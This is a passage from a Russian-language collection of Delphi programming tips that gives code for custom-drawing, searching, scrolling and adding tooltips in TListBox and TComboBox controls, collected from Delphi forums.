                                                     и   Windows NT4.0, servicepack 5.
===================================================================
}
Unit FontListBox;

Interface

Uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

Type
  TFontListBox = class(TCustomListbox)

  Private
    { Private declarations }
    fFontSample      : Boolean;             // Добавляемое свойство
    fShowTrueType    : Boolean;             // Добавляемое свойство
    fCanvas          : TControlCanvas;      // Необходимо

    Procedure SetFontSample(B : Boolean);   // внутренняя процедура
    Procedure SetShowTrueType(B : Boolean); // внутренняя процедура

  Protected
    { Protected declarations }
    Procedure CreateWnd; override;

  Public
    { Public declarations }
    Constructor Create(AOwner : TComponent); override;
    Destructor Destroy; override;
    Procedure DrawItem(Index : Integer; R : TRect;
       State : TOwnerDrawState); override;

  Published
    { Published declarations }
    { Properties }
    Property Fontsample : Boolean           // Добавляемое свойство
       Read fFontSample Write SetFontSample;
    Property Align;
    Property Anchors;
    Property BiDiMode;
    Property BorderStyle;
    Property Color;
    Property Columns;
    Property Constraints;
    Property Cursor;
    Property DragCursor;
    Property DragKind;
    Property DragMode;
    Property Enabled;
    //Poperty ExtendedSelection; Не существует в базовом классе
    Property Font;
    Property Height;
    Property HelpContext;
    Property Hint;
    Property ImeMode;
    Property ImeName;
    Property IntegralHeight;
    Property Itemheight;
    Property Items;
    Property Left;
    Property MultiSelect;
    Property Name;
    Property ParentBiDiMode;
    Property ParentColor;
    Property ParentFont;
    Property ParentShowHint;
    Property PopupMenu;
    Property ShowTrueType : Boolean         // Добавляемое свойство
       Read fShowTrueType Write SetShowTrueType;
    Property ShowHint;
    Property Sorted;
    Property Style;
    Property TabOrder;
    Property TabStop;
    Property TabWidth;
    Property Tag;
    Property Top;
    Property Visible;
    Property Width;
    { Events }
    Property OnClick;
    Property OnContextPopup;
    Property OnDblClick;
    Property OnDragDrop;
    Property OnDragOver;
    Property OnDrawItem;
    Property OnEndDock;
    Property OnEnter;
    Property OnExit;
    Property OnKeyDown;
    Property OnKeyPress;
    Property OnKeyUp;
    Property OnMeasureItem;
    Property OnMouseDown;
    Property OnMouseMove;
    Property OnMouseUp;
    Property OnStartDock;
    Property OnStartDrag;
  End;

Procedure Register;

Implementation

{--------------------------------------------------------------------}
Procedure Register; // Hello

Begin
RegisterComponents('Samples', [TFontListBox]);
End;
{--------------------------------------------------------------------}
Procedure TFontListBox.SetShowTrueType(B : Boolean);

Begin
If B <> fShowTrueType then
   Begin
   fShowTrueType := B;
   Invalidate; // Заставляет апдейтится во время прорисовки
   End;
End;
{--------------------------------------------------------------------}
Procedure TFontListBox.SetFontSample(B : Boolean);

Begin
If fFontSample <> B then
   Begin
   fFontSample := B;
   Invalidate; // Заставляет апдейтится во время прорисовки
   End;
End;
{--------------------------------------------------------------------}
Destructor TFontListBox.Destroy;

Begin
fCanvas.Free;      // освобождает холст
Inherited Destroy;
End;
{-----------------------------------------------------------------------}
Constructor TFontListBox.Create(AOwner : TComponent);

Begin
Inherited Create(AOwner);
// Initialize properties
ParentFont := True;
Font.Size := 8;
Font.Style := [];
Sorted := True;
fFontSample := False;
Style := lbOwnerDrawFixed;
fCanvas := TControlCanvas.Create;
fCanvas.Control := Self;
ItemHeight := 16;
fShowTrueType := False;
End;
{--------------------------------------------------------------------}
procedure TFontListBox.CreateWnd;

Begin
inherited CreateWnd;
Items := Screen.Fonts; // Копируем все шрифты в ListBox.Items
ItemIndex := 0;        // Выбираем первый фонт
End;
{--------------------------------------------------------------------}
procedure TFontListBox.DrawItem(Index : Integer; R : TRect;
   State : TOwnerDrawState);

Var
   Metrics           : TTextMetric;
   LogFnt            : TLogFont;
   oldFont,newFont   : HFont;
   IsTrueTypeFont    : Boolean;
   fFontStyle        : TFontStyles;
   fFontName         : TFontName;
   fFontColor        : TColor;

Begin
LogFnt.lfHeight := 10;
LogFnt.lfWidth := 10;
LogFnt.lfEscapement := 0;
LogFnt.lfWeight := FW_REGULAR;
LogFnt.lfItalic := 0;
LogFnt.lfUnderline := 0;
LogFnt.lfStrikeOut := 0;
LogFnt.lfCharSet := DEFAULT_CHARSET;
LogFnt.lfOutPrecision := OUT_DEFAULT_PRECIS;
LogFnt.lfClipPrecision := CLIP_DEFAULT_PRECIS;
LogFnt.lfQuality := DEFAULT_QUALITY;
LogFnt.lfPitchAndFamily := DEFAULT_PITCH or FF_DONTCARE;
StrPCopy(LogFnt.lfFaceName,Items[Index]);
newFont := CreateFontIndirect(LogFnt);
oldFont := SelectObject(fCanvas.Handle,newFont);
GetTextMetrics(fCanvas.Handle,Metrics);
// Теперь вы можете проверить на TrueType-ность
IsTrueTypeFont := True;
If (Metrics.tmPitchAndFamily and TMPF_TRUETYPE) = 0 then
   IsTrueTypeFont := False;

Canvas.FillRect(R);
If fShowTrueType and IsTrueTypeFont then
   Begin
   // Записываем параметры шрифтов
   fFontName := Canvas.Font.Name;
   fFontStyle := Canvas.Font.Style;
   fFontColor := Canvas.Font.Color;
   // Устанавливаем новые параметры шрифтов
   Canvas.Font.Name := 'Times new roman';
   Canvas.Font.Style := [fsBold];
   //Canvas.Font.Color := clBlack;
   Canvas.TextOut(R.Left + 2,R.Top,'T');
   If fFontColor <> clHighLightText then
      Canvas.Font.Color := clGray;
   Canvas.TextOut(R.Left + 7,R.Top + 3,'T');
   //Восстанавливаем параметры шрифтов
   Canvas.Font.Style := fFontStyle;
   Canvas.Font.Color := fFontColor;
   Canvas.Font.Name := fFontName;
   End;

If fFontSample then
   // Шрифт будет прорисован фактически как шрифт
   Canvas.Font.Name :=  Items[Index]
else
   // Шрифт будет прорисован в свойстве "Font"
   Canvas.Font.Name :=  Font.Name;

If fShowTrueType then
   Canvas.TextOut(R.Left + 20,R.Top,Items[Index]) // Показывать TrueType
else
   Canvas.TextOut(R.Left,R.Top,Items[Index]); // Не показывать TrueType

SelectObject(fCanvas.Handle,oldFont);
DeleteObject(newFont);
End;
{--------------------------------------------------------------------}
End.
{====================================================================}

Взято из http://forum.sources.ru


Как добавить горизонтальную полосу прокрутки (scrollbar) в TListBox?

В Delphi компонент TListBox автоматически включает в себя вертикальный scrollbar. Полоска прокрутки появляется в том случае, если все элементы списка не помещаются в видимую область списка. Однако, list box не показывает горизонтального скролбара, когда ширина элементов превышает ширину списка. Конечно же существует способ добавить горизонтальную полосу прокрутки.

Добавьте следующий код в событие Вашей формы OnCreate.

procedure TForm1.FormCreate(Sender: TObject);
var
  i, MaxWidth: integer;
begin
  MaxWidth := 0;
  for i := 0 to LB1.Items.Count - 1 do
  if MaxWidth < LB1.Canvas.TextWidth(LB1.Items.Strings[i]) then
    MaxWidth := LB1.Canvas.TextWidth(LB1.Items.Strings[i]);
  SendMessage(LB1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;

Приведённый код определяет ширину в пикселях самой длинной строки списка. Затем он использует сообщение LB_SETHORIZONTALEXTENT, чтобы установить ширину горизонтального скролбара в пикселях. Два дополнительных пикселя добавленные к MaxWidth служат для стрелки в правом углу list box-а.

Взято из http://forum.sources.ru


Как перетащить целую колонку из Stringgrid в Listbox?

После того, как поместите TListBox на форму, необходимо изменить свойство Style в TListBox на lbOwnerDrawFixed. Если не изменить свойство Style, то событие OnDrawItem никогда не вызовется. Теперь поместите следующий код в обработчик события OnDrawItem Вашего TListBox:

procedure TForm1.ListBox1DrawItem
  (Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
    myColor: TColor;
    myBrush: TBrush;
begin
  myBrush := TBrush.Create;
  with (Control as TListBox).Canvas do
  begin
    if not Odd(Index) then
      myColor := clSilver
    else
      myColor := clYellow;

    myBrush.Style := bsSolid;
    myBrush.Color := myColor;
    Windows.FillRect(handle, Rect, myBrush.Handle);
    Brush.Style := bsClear;
    TextOut(Rect.Left, Rect.Top,
            (Control as TListBox).Items[Index]);
    MyBrush.Free;
  end;
end;

Взято из http://forum.sources.ru


Как добавлять колонки в обычный Listbox (TListbox)?

Класс TListbox содержит свойство TabWith:

ListBox1.TabWith := 50;
ListBox1.Items.Add('Column1'^I'Column2');  // ^I это символ Tab

Взято из http://forum.sources.ru


Как вставить растровое изображение в компонент ListBox?

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.
Пример:
Рисуются изображения размером 32*16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!
Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.

{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}
procedure TForm1.bLoadClick(Sender: TObject);
VAR S : String;
begin
  ListBox1.Clear; {чистим список}
  S := '*.bmp'#0; {задаем шаблон}
  ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}
end;
          ............

{Отобразить изображения и имена файлов в ListBox}
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: DrawState);
var
  Bitmap: TBitmap;
  Offset: Integer;
  BMPRect: TRect;
begin
  with (Control as TListBox).Canvas do
    begin
      FillRect(Rect);
      Bitmap := TBitmap.Create;
      Bitmap.LoadFromFile(ListBox1.Items[Index]);
      Offset := 0;
      if Bitmap <> nil then
        begin
          BMPRect := Bounds(Rect.Left + 2, Rect.Top + 2,
            (Rect.Bottom - Rect.Top - 2) * 2, Rect.Bottom - Rect.Top - 2);
      {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}
          BrushCopy(BMPRect, Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),
            Bitmap.Canvas.Pixels[0, Bitmap.Height - 1]);
          Offset := (Rect.Bottom - Rect.Top + 1) * 2;
        end;
      TextOut(Rect.Left + Offset, Rect.Top, ListBox1.Items[Index]);
      Bitmap.Free;
    end;
end;

Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.

Взято из http://forum.sources.ru

Сначала создайте bmp-файл, который вы будете помещать около каждого элемента списка, в примере это 'c:\file.bmp'. Для создания файла можете воспользоваться специальной графической утилитой ImageEditor, которая входит в пакет Delphi. Желательно, чтобы размер файлы был 16х16. После этого вынесите на форму компонент TListBox. Его свойство Style установите в lbOwnerDrawVariable - это позволит нам прорисовывать каждый элемент списка самостоятельно.

Далее объявляем переменную:

var
  Bit: TBitmap;

После этого задаём обработчику события OnDrawItem следующий вид:

procedure TForm1.ListBox1DrawItem(Control: TWinControl; index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
  cc: TCanvas;
begin
  cc:=(Control as TListBox).Canvas;
  cc.FillRect(rect);
  cc.Draw(Rect.Left+Rect.Right-16,Rect.Top,Bit);
  cc.TextOut(Rect.Left,Rect.Top,ListBox1.Items[index]);
end;

а обработчику события OnMeasureItem такой:

procedure TForm1.ListBox1MeasureItem(Control: TWinControl;
index: Integer; var Height: Integer);
begin
  Height := 16;
end;

По созданию окна создаёт Bitmap и загружаем в него данные из файла:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Bit := TBitmap.Create;
  Bit.LoadFromFile('c:\file.bmp');
end;

По уничтожению окна - уничтожаем Bitmap

procedure TForm1.FormDestroy(Sender: TObject);
begin
  Bit.Destroy;
end;

Взято с http://delphiworld.narod.ru


Как присвоить значение свойству selected в ListBox?

Свойство "selected" компонента ТListBox может быть использованно только если свойство MultiSelect установленно в True. Если Вы работаете с ListBox'ом у которого MultiSelect=false то используйте свойство ItemIndex.

procedure TForm1.Button1Click(Sender: TObject);
begin
   ListBox1.Items.Add('1');
   ListBox1.Items.Add('2');
   {This will fail on a single selection ListBox}
//   ListBox1.Selected[1] := true;
   ListBox1.ItemIndex := 1; {This is ok}
end;

Взято из http://forum.sources.ru


Как в ListBox нарисовать Item своим цветом?

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
begin
With ListBox1 do
begin
If odSelected in State then
  Canvas.Brush.Color:=clTeal { твой цвет }
else
  Canvas.Brush.Color:=clWindow;
Canvas.FillRect(Rect);
Canvas.TextOut(Rect.Left+2,Rect.Top,Items[Index]);
end;
end;

Hе забудьте установить свойство Style у своего ListBox в lbOwnerDrawFixed или в
lbOwnerDrawVariable.

Взято из http://forum.sources.ru


Как принимать перетаскиваемые файлы из проводника?

Вот пример с TListbox на форме:

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
  protected
    procedure WMDROPFILES (var Msg: TMessage); message WM_DROPFILES;
  private
  public
  end;

var
  Form1: TForm1;

implementation
uses shellapi;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  DragAcceptFiles(Form1.Handle, true);
end;

procedure TForm1.WMDROPFILES (var Msg: TMessage);
var
  i,
  amount,
  size: integer;
  Filename: PChar;
begin
  inherited;
  Amount := DragQueryFile(Msg.WParam, $FFFFFFFF, Filename, 255);
  for i := 0 to (Amount - 1) do
  begin
    size := DragQueryFile(Msg.WParam, i , nil, 0) + 1;
    Filename:= StrAlloc(size);
    DragQueryFile(Msg.WParam,i , Filename, size);
    listbox1.items.add(StrPas(Filename));
    StrDispose(Filename);
  end;
  DragFinish(Msg.WParam);
end;

Взято из http://forum.sources.ru


Как осуществить быстрый поиск в Listbox?

Очень просто, смотри пример....
считаем, сто есть поле Edit1, в котором набираем текст, и ListBox, в котором ищем нужную строку, (как в Нelp).

procedure TForm1.Edit1Change(Sender: TObject);
begin
  ListBox1.Perform(LB_SELECTSTRING,-1,longint(Pchar(Edit1.text)));
end;

Взято из http://forum.sources.ru


Как создать поле Lookup во время выполнения приложения?

uses
  Forms, Classes, Controls, StdCtrls, Db, DBTables, DBCtrls;

type
  TForm1 = class(TForm)
    Table1: TTable;   // DBDemos customer table
    Table2: TTable;   // DBDemos orders table
    Button1: TButton;
    DBLookupComboBox1: TDBLookupComboBox;
    DataSource1: TDataSource;
    Table2CustNo: TFloatField;  // CustNo key field object used for Lookup
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TStringField.Create(Table2) do begin
    FieldName := 'MyLookup';
    FieldKind:= fkLookup;
    DataSet := Table2;
    Name := Dataset.Name + FieldName;
    KeyFields:= 'CustNo';
    LookUpDataset:= Table1;
    LookUpKeyFields:= 'CustNo';
    LookUpResultField:= 'Company';
    DbLookupCombobox1.DataField:= FieldName;
    DataSource1.DataSet:= Dataset;
    Table2.FieldDefs.Add(Name, ftString, 20, false);
  end;
  DbLookupCombobox1.DataSource:= Datasource1;
  Table1.Active:= True;
  Table2.Active:= True;
end;

end.

Взято из http://forum.sources.ru


Можно ли изменить число колонок и их ширину в компоненте TFileListBox?

В приведенном примере FileListBox приводится к типу TDirectoryListBox - таким образом можно добавиь дополнительные колонки.

with TDirectoryListBox(FileListBox1) do
begin
  Columns := 2;
  SendMessage(Handle, LB_SETCOLUMNWIDTH, Canvas.TextWidth('WWWWWWWW.WWW'),0);
end;


Как сделать картинки из TImageList прозрачными?

procedure TForm1.Button1Click(Sender: TObject);
var
  bm: TBitmap;
  il: TImageList;
begin
  bm := TBitmap.Create;
  bm.LoadFromFile('C:\DownLoad\TEST.BMP');
  il := TImageList.CreateSize(bm.Width, bm.Height);
  il.DrawingStyle := dsTransparent;
  il.Masked := true;
  il.AddMasked(bm, clRed);
  il.Draw(Form1.Canvas, 0, 0, 0);
  bm.Free;
  il.Free;
end;


Как выводить элементы списка разными шрифтами

Очень удобно выбирать шрифты, когда в списке каждый шрифт написан собой. Например, "Arial" будет написано шрифтом Arial, а "Times" - Times. Список шрифтов лежит в свойстве Fonts объекта Screen.

procedure TForm1.FormCreate(Sender: TObject);
begin
  ListBox1.Items := Screen.Fonts;
  ListBox1.Style := lbOwnerDrawVariable;
end;

// Определение высоты элемента списка
procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
  var Height: Integer);
begin
  with ListBox1.Canvas do begin
    Font.Name := ListBox1.Items.Strings[index];
    Font.Size := 0; // Размер шрифта – по умолчанию

    Height := TextHeight(ListBox1.Items.Strings[index]) + 2;
  end;
end;

// Вывод названия шрифта
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
begin
  with ListBox1.Canvas do begin
    Font.Name := ListBox1.Items.Strings[index];
    Font.Size := 0; // Размер шрифта – по умолчанию
    TextOut(Rect.Left + 1, Rect.Top + 1,

      ListBox1.Items.Strings[index]);
  end;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Инкрементальный поиск в ListBox

Я видел приложение, в котором ListBox позволял осуществлять инкрементальный поиск. При вводе очередного символа он позиционирует вас к первой ячейке, начало значения которой совпадает с введенным пользователем текстом, или выделяет все строки с текстом, содержащим введенный текст.

Как это осуществить на Delphi?

Здесь придется немного воспользоваться Win API. Установите свойство формы KeyPreview в True и сделайте примерно следующее:

unit LbxSrch;

interface

uses
  Windows, Messages, SysUtils, Classes, Controls, Forms, StdCtrls;

type
  TFrmLbxSrch = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    ListBox1: TListBox;
    Label1: TLabel;
    procedure FormKeyPress(Sender: TObject; var Key: Char);
    procedure ListBox1Enter(Sender: TObject);
  private { Private declarations }
    FPrefix: array[0..255] of char;
  public
    { Public declarations }
  end;

var
  FrmLbxSrch: TFrmLbxSrch;

implementation

{$R *.DFM}

procedure TFrmLbxSrch.FormKeyPress(Sender: TObject; var Key: Char);
{ Помните о том, что свойство KeyPreview должно быть установлено в True }
var
  curKey: array[0..1] of char;
  ndx: integer;
begin
  if ActiveControl = ListBox1 then
  begin
    if key = #8 {Backspace (клавиша возврата)} then
    begin
      if FPrefix[0] <> #0 then
      begin
        FPrefix[StrLen(FPrefix) - 1] := #0;
      end
    end
    else
    begin
      curKey[0] := Key;
      curKey[1] := #0;
      StrCat(FPrefix, curKey);
      ndx := SendMessage(ListBox1.Handle, LB_FINDSTRING,
        -1, longint(@FPrefix));
      if ndx <> LB_ERR then
        ListBox1.ItemIndex := ndx;
    end;

    Label1.Caption := StrPas(FPrefix);
    Key := #0;
  end;
end;

procedure TFrmLbxSrch.ListBox1Enter(Sender: TObject);
begin
  FPrefix[0] := #0;
  Label1.Caption := StrPas(FPrefix);
end;

end.

Автор: Ralph Friedman

Взято с http://delphiworld.narod.ru

Предположим, что ListBox сортируется, это не трудно. Вы должны разместить компонент Edit выше ListBox и создать следующий обработчик его случая OnChange:

procedure TForm1.Edit1Change(Sender: TObject);
var
  Ndx: Word;
begin
  with Sender as TEdit do
  begin
    Ndx := ListBox1.Items.Add(Text);
    ListBox1.Items.Delete(Ndx);
    if CompareText(Text, Copy(ListBox1.Items[Ndx], 1, Length(Text))) = 0 then
      ListBox1.ItemIndex := Ndx
    else
      ListBox1.ItemIndex := -1;
  end;
end;

Пытаясь вставить часть текста, вы просто просматриваете список на предмет его наличия. Если актуальный элемент в этой позиции содержит "частичный" текст, мы выводим его, в противном случае делаем так, чтобы ListBox не имел выделенного (ItemIndex) элемента.

Взято с http://delphiworld.narod.ru


Показ in-place подсказки в TListBox и других компонентах

{
  In-place ToolTips are used to display text strings for objects that have been clipped,
  in TreeView for example. The following code has been tested only on standard ListBox.
  Of cause you can use tips on other VCLs after appropriate modification.
  (Only copy following code to your form1's unit file)
}

//------------------------------------------------------------------------------
//  Show in-place tooltips on ListBox
//  Author??Joe Huang                 Email??Happyjoe@21cn.com
//
//------------------------------------------------------------------------------

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, CommCtrl;

type
  //Override TListBox's WinProc to get CM_MOUSELEAVE message
  TNewListBox = class(TListBox)
  protected
    { Protected declarations }
    procedure WndProc(var Message: TMessage); override;
  end;

type
  TForm1 = class(TForm)
    Button2: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
    GHWND: HWND;
    TipVisable: Boolean;
    OldIndex, CurrentIndex: Integer;
    ti: TOOLINFO;
    ListBox1: TListBox;

    procedure InitListBox;   //Create ListBox1 dynamically
    procedure CreateTipsWindow;  //Create Tooltip Window
    procedure HideTipsWindow;    //Hide Tooltip Window

    //WM_NOTIFY message's handler, fill Tooltip Window content
    procedure WMNotify(var Msg: TMessage); message WM_NOTIFY;

    procedure ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ListBox_MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

{ TNewListBox }

procedure TNewListBox.WndProc(var Message: TMessage);
begin
  case Message.Msg of
    CM_MOUSELEAVE: Form1.HideTipsWindow;
  end;
  inherited WndProc(Message);
end;

{ TForm1 }

procedure TForm1.InitListBox;
begin
  ListBox1 := TNewListBox.Create(Self);
  ListBox1.Parent := Self;
  ListBox1.Left := 50;
  ListBox1.Top := 50;
  ListBox1.Width := 200;
  ListBox1.Height := 200;
  //append serveral items for testing
  ListBox1.Items.Append('happyjoe');
  ListBox1.Items.Append('Please send me email: happyjoe@21cn.com');
  ListBox1.Items.Append('Delphi 5 Developer''s Guide');
  ListBox1.Items.Append('Delphi 5.X ADO/MTS/COM+ Advanced Development');

  ListBox1.OnMouseMove := ListBox_MouseMove;
  ListBox1.OnMouseDown := ListBox_MouseDown;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Self.Font.Name := 'Tahoma';
  InitListBox;
  CreateTipsWindow;
end;

procedure TForm1.CreateTipsWindow;
var
  iccex: tagINITCOMMONCONTROLSEX;
begin
  // Load the ToolTip class from the DLL.
  iccex.dwSize := SizeOf(tagINITCOMMONCONTROLSEX);
  iccex.dwICC := ICC_BAR_CLASSES;
  InitCommonControlsEx(iccex);

  // Create the ToolTip control.
  GHWND := CreateWindow(TOOLTIPS_CLASS, '',
                        WS_POPUP,
                        Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
                        Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
                        0, 0, hInstance,
                        nil);

  // Prepare TOOLINFO structure for use as tracking ToolTip.
  ti.cbSize := SizeOf(ti);
  ti.uFlags := TTF_IDISHWND + TTF_TRACK + TTF_ABSOLUTE + TTF_TRANSPARENT;
  ti.hwnd := Self.Handle;
  ti.uId := ListBox1.Handle;
  ti.hinst := hInstance;
  ti.lpszText := LPSTR_TEXTCALLBACK;
  ti.Rect.Left := 0;
  ti.Rect.Top := 0;
  ti.Rect.Bottom := 0;
  ti.Rect.Right := 0;

  SendMessage(GHWND, WM_SETFONT, ListBox1.Font.Handle, Integer(LongBool(False)));
  SendMessage(GHWND,TTM_ADDTOOL,0,Integer(@ti));
end;

procedure TForm1.WMNotify(var Msg: TMessage);
var
  phd: PHDNotify;
  NMTTDISPINFO: PNMTTDispInfo;
begin
  phd := PHDNotify(Msg.lParam);
  if phd.Hdr.hwndFrom = GHWND then
  begin
    if phd.Hdr.Code = TTN_NEEDTEXT then
    begin
      NMTTDISPINFO := PNMTTDispInfo(phd);
      NMTTDISPINFO.lpszText := PChar(ListBox1.Items[CurrentIndex]);
    end;
  end;
end;

procedure TForm1.ListBox_MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if TipVisable then     //when mouse down, hide Tooltip Window
  begin
    SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);
    TipVisable := False;
  end;
end;

procedure TForm1.ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  Index: Integer;
  APoint: TPoint;
  ARect: TRect;
  ScreenRect: TRect;
begin
  Index := ListBox1.ItemAtPos(Point(X, Y), true);
  if Index = -1 then
  begin
    SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);
    OldIndex := -1;
    TipVisable := False;
    Exit;
  end;
  CurrentIndex := Index;
  if Index = OldIndex then Exit;
  if TipVisable then
  begin
    SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);
    OldIndex := -1;
    TipVisable := False;
  end else
  begin
    ARect := ListBox1.ItemRect(Index);

    if (ARect.Right - ARect.Left - 2) >= ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) then
    begin
      OldIndex := -1;
      Exit;
    end;
    APoint := ListBox1.ClientToScreen(ARect.TopLeft);
    windows.GetClientRect(GetDesktopWindow, ScreenRect);

    if ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) + APoint.X > ScreenRect.Right then
      APoint.X := ScreenRect.Right - ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) - 5;
    SendMessage(GHWND,
                TTM_TRACKPOSITION,
                0,
                MAKELPARAM(APoint.x - 1, APoint.y - 2));

    SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(True)), Integer(@ti));
    OldIndex := Index;
    TipVisable := True;
  end;
end;

procedure TForm1.HideTipsWindow;
begin
  if TipVisable then
  begin
    SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(False)), 0);
    OldIndex := -1;
    TipVisable := False;
  end;
end;

// Test it:

procedure TForm1.Button2Click(Sender: TObject);
begin
 InitListBox;
 CreateTipsWindow;
end;

end.
end.

Взято с http://delphiworld.narod.ru


Табуляция в графическом ListBox

Использование табуляции в ListBox'е когда компонент находится в стандартном режиме не составляет труда. Но что делать если надо использовать графическое отображение элементов списка? Ведь при этом надо самому писать обработчик отрисовки элементов с разбиением на колонки. Элементарное решение - использование API функции TabbedTextOut, однако результаты работы этой функции меня явно не удовлетворили. Пришлось-таки "выкручиваться"... Символ-разделитель можно использовать любой. Например, будем использовать символ "|", тогда обработчик OnDrawItem может выглядеть следующим образом:

procedure TBrowser.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  S, Ss: string;
  P: Integer; // Флаг символа-разделителя
begin
  ListBox1.Canvas.FillRect(Rect);
  //Отрисовка графики
  ...
    //
  S := ListBox1.Items.Strings[Index];
  P := Pos('|', S);
  if P = 0 then
    Ss := S
  else
    // Если нет табуляции, то пишем всю строку,
    // иначе отрезаем кусок до разделителя
    Ss := Copy(S, 1, P - 1);
  ListBox1.Canvas.TextOut(Rect.Left + 20, Rect.Top + 2, Ss);
  if P > 0 then
    ListBox1.Canvas.TextOut(ListBox1.TabWidth, Rect.Top + 2, Copy(S, P + 1,
      Length(S) - P + 2));
end;

Не забудьте перед запуском поставить нужное значение TabWidth.

Автор: Virtualik

Взято с http://delphiworld.narod.ru


Уменьшение мерцания ListBox в обработчике OwnerDraw

Предположим ListBox имеет в своем списке два элемента, элемент 0 имеет фокус, активен другой компонент и вы щелкаете на элементе 1. При этом происходит *ПЯТИКРАТНЫЙ* вызов OnDrawItem, смотрите сами изменения состояний двух элементов:

Index State
0 [odSelected, odFocused]
0 [odSelected]
0 []
1 [odSelected]
1 [odSelected, odFocused]

В случае единственного элемента в списке ListBox получается конфуз, поскольку при щелчке на нем вы получаете тот же самый сценарий, только вместо двух индексов присутствует один, нулевой.
Имея эту информацию, вы можете минимизировать количество вызовов процедуры отрисовки. Для примера, в не-multi-select ListBox, элемент не нужно отрисовывать, если его состояние = [odSelected], поскольку это состояние всегда сопровождается НЕ selected НЕ focused, или ОДНОВРЕМЕННО selected и focused. В этом вам поможет технология отслеживания в обработчике OnDrawItem предыдущего отрисованного элемента, и если предыдущий запомненный элемент равен текущему, то отрисовывать его необязательно, например:

...
const
  LastIndex: LongInt = -1;
begin
  IF Index = LastIndex THEN
    ...
  ELSE
    ...
  LastIndex := Index;
end;

Автор: Neil

Взято с http://delphiworld.narod.ru


ComboBox, DBComboBox

Cодержание раздела:

Как можно отменить реакию ComboBox на F4?
TComboBox.ReadOnly
Несколько колонок в TComboBox
Как опеделить состояние списка ComboBox, выпал/скрыт?
Как получить размер развёрнутого TComboBox?
Как поместить картинки в Combo Box?
Мигание при добавлении строк New!

См. также статьи в других разделах:
Как поместить ComboBox в ячейку StringGrid?
Как сделать pop-up Combobox по позиции курсора в Memo?
Можно ли удалять из списка TDriveComboBox диски которые отключены?


Как можно отменить реакию ComboBox на F4?

procedure TForm1.ComboBox1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_F4 then key:=0;
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


TComboBox.ReadOnly

Иногда хочется сделать так, чтобы в комбобоксе, пользователь мог только выбирать из списка но не вводить текст с клавиатуры.
Так можно включить "ComboBox.ReadOnly"

SendMessage(GetWindow(ComboBox1.Handle,GW_CHILD), EM_SETREADONLY, 1, 0);

а так выключить.

SendMessage(GetWindow(ComboBox1.Handle,GW_CHILD), EM_SETREADONLY, 0, 0);

При csDropDownList нельзя набирать для выбора, то есть если нажал "К" а потом "О", то вначале выберется слово на "К" а потом на "О", а так выберется слово на "КО", и текст нельзя из него копировать.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Несколько колонок в TComboBox

procedure TForm1.ComboBox1DrawItem(Control: TWinControl;
  Index: Integer; Rect: TRect; State: TOwnerDrawState);
var
  strVal, strAll: string;
  pos1, pos2: Integer;
  rc: TRect;
  arrWidth: array [0..3] of Integer;
begin
  Combobox1.Canvas.Brush.Style := bsSolid;
  Combobox1.Canvas.FillRect(Rect);
